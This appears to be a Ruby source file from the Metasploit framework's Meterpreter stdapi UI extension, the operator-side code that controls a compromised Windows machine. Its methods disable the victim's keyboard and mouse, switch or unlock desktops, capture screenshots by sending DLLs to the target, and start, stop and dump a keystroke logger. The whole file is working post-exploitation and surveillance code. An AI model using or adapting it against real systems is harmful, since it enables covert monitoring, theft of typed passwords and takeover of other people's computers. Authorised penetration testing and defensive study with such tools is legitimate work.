#!/usr/bin/env ruby

require 'rex/post/ui'

module Rex
module Post
module Meterpreter
module Extensions
module Stdapi

###
#
# Allows for interacting with the user interface on the remote machine, 
# such as by disabling the keyboard and mouse.
#
# WARNING:
#
# Using keyboard and mouse enabling/disabling features will result in
# a DLL file being written to disk.
#
###
class UI < Rex::Post::UI

	include Rex::Post::Meterpreter::ObjectAliasesContainer

	##
	#
	# Constructor
	#
	##

	#
	# Initializes the post-exploitation user-interface manipulation subsystem.
	#
	def initialize(client)
		self.client = client
	end

	##
	#
	# Device enabling/disabling
	#
	##

	#
	# Disable keyboard input on the remote machine.
	#
	def disable_keyboard
		return enable_keyboard(false)	
	end

	#
	# Enable keyboard input on the remote machine.
	#
	def enable_keyboard(enable = true)
		request = Packet.create_request('stdapi_ui_enable_keyboard')

		request.add_tlv(TLV_TYPE_BOOL, enable)

		response = client.send_request(request)

		return true
	end

	#
	# Disable mouse input on the remote machine.
	#
	def disable_mouse
		return enable_mouse(false)
	end

	#
	# Enable mouse input on the remote machine.
	#
	def enable_mouse(enable = true)
		request = Packet.create_request('stdapi_ui_enable_mouse')

		request.add_tlv(TLV_TYPE_BOOL, enable)

		response = client.send_request(request)

		return true
	end

	#
	# Returns the number of seconds the remote machine has been idle
	# from user input.
	#
	def idle_time
		request = Packet.create_request('stdapi_ui_get_idle_time')

		response = client.send_request(request)

		return response.get_tlv_value(TLV_TYPE_IDLE_TIME);
	end

	#
	# Enumerate desktops.
	#
	def enum_desktops
		request  = Packet.create_request('stdapi_ui_desktop_enum')
		response = client.send_request(request)
		desktopz = []
		if( response.result == 0 )
			response.each( TLV_TYPE_DESKTOP ) { | desktop |
			desktopz << {
					'session' => desktop.get_tlv_value( TLV_TYPE_DESKTOP_SESSION ),
					'station' => desktop.get_tlv_value( TLV_TYPE_DESKTOP_STATION ),
					'name'    => desktop.get_tlv_value( TLV_TYPE_DESKTOP_NAME )
				}
			}
		end
		return desktopz
	end
	
	#
	# Get the current desktop meterpreter is using.
	#
	def get_desktop
		request  = Packet.create_request( 'stdapi_ui_desktop_get' )
		response = client.send_request( request )
		desktop  = {}
		if( response.result == 0 )
			desktop = {
					'session' => response.get_tlv_value( TLV_TYPE_DESKTOP_SESSION ),
					'station' => response.get_tlv_value( TLV_TYPE_DESKTOP_STATION ),
					'name'    => response.get_tlv_value( TLV_TYPE_DESKTOP_NAME )
				}
		end
		return desktop
	end
	
	#
	# Change the meterpreters current desktop. The switch param sets this 
	# new desktop as the interactive one (The local users visible desktop 
	# with screen/keyboard/mouse control).
	#
	def set_desktop( session=-1, station='WinSta0', name='Default', switch=false )
		request  = Packet.create_request( 'stdapi_ui_desktop_set' )
		request.add_tlv( TLV_TYPE_DESKTOP_SESSION, session )
		request.add_tlv( TLV_TYPE_DESKTOP_STATION, station )
		request.add_tlv( TLV_TYPE_DESKTOP_NAME, name )
		request.add_tlv( TLV_TYPE_DESKTOP_SWITCH, switch )
		response = client.send_request( request )
		if( response.result == 0 )
			return true
		end
		return false
	end
	
	#
	# Grab a screenshot of the interactive desktop
	#
	def screenshot( quality=50 )
		request = Packet.create_request( 'stdapi_ui_desktop_screenshot' ) 
		request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY, quality )
		# include the x64 screenshot dll if the host OS is x64
		if( client.sys.config.sysinfo['Architecture'] =~ /^\S*x64\S*/ )
			screenshot_path = ::File.join( Msf::Config.install_root, 'data', 'meterpreter', 'screenshot.x64.dll' )
			screenshot_path = ::File.expand_path( screenshot_path )
			screenshot_dll  = ''
			::File.open( screenshot_path, 'rb' ) do |f|
				screenshot_dll += f.read( f.stat.size )
			end
			request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER, screenshot_dll, false, true )
			request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH, screenshot_dll.length )
		end
		# but allways include the x86 screenshot dll as we can use it for wow64 processes if we are on x64
		screenshot_path = ::File.join( Msf::Config.install_root, 'data', 'meterpreter', 'screenshot.dll' )
		screenshot_path = ::File.expand_path( screenshot_path )
		screenshot_dll  = ''
		::File.open( screenshot_path, 'rb' ) do |f|
			screenshot_dll += f.read( f.stat.size )
		end
		request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER, screenshot_dll, false, true )
		request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH, screenshot_dll.length )
		# send the request and return the jpeg image if successfull.
		response = client.send_request( request )
		if( response.result == 0 )
			return response.get_tlv_value( TLV_TYPE_DESKTOP_SCREENSHOT )
		end
		return nil
	end

	#
	# Unlock or lock the desktop
	#
	def unlock_desktop(unlock=true)
		request  = Packet.create_request('stdapi_ui_unlock_desktop')
		request.add_tlv(TLV_TYPE_BOOL, unlock)
		response = client.send_request(request)
		return true
	end
			
	#
	# Start the keyboard sniffer
	#
	def keyscan_start
		request  = Packet.create_request('stdapi_ui_start_keyscan')
		response = client.send_request(request)
		return true
	end

	#
	# Stop the keyboard sniffer
	#
	def keyscan_stop
		request  = Packet.create_request('stdapi_ui_stop_keyscan')
		response = client.send_request(request)
		return true
	end

	#
	# Dump the keystroke buffer
	#
	def keyscan_dump
		request  = Packet.create_request('stdapi_ui_get_keys')
		response = client.send_request(request)
		return response.get_tlv_value(TLV_TYPE_KEYS_DUMP);
	end
	
protected
	attr_accessor :client # :nodoc:

end

end; end; end; end; end
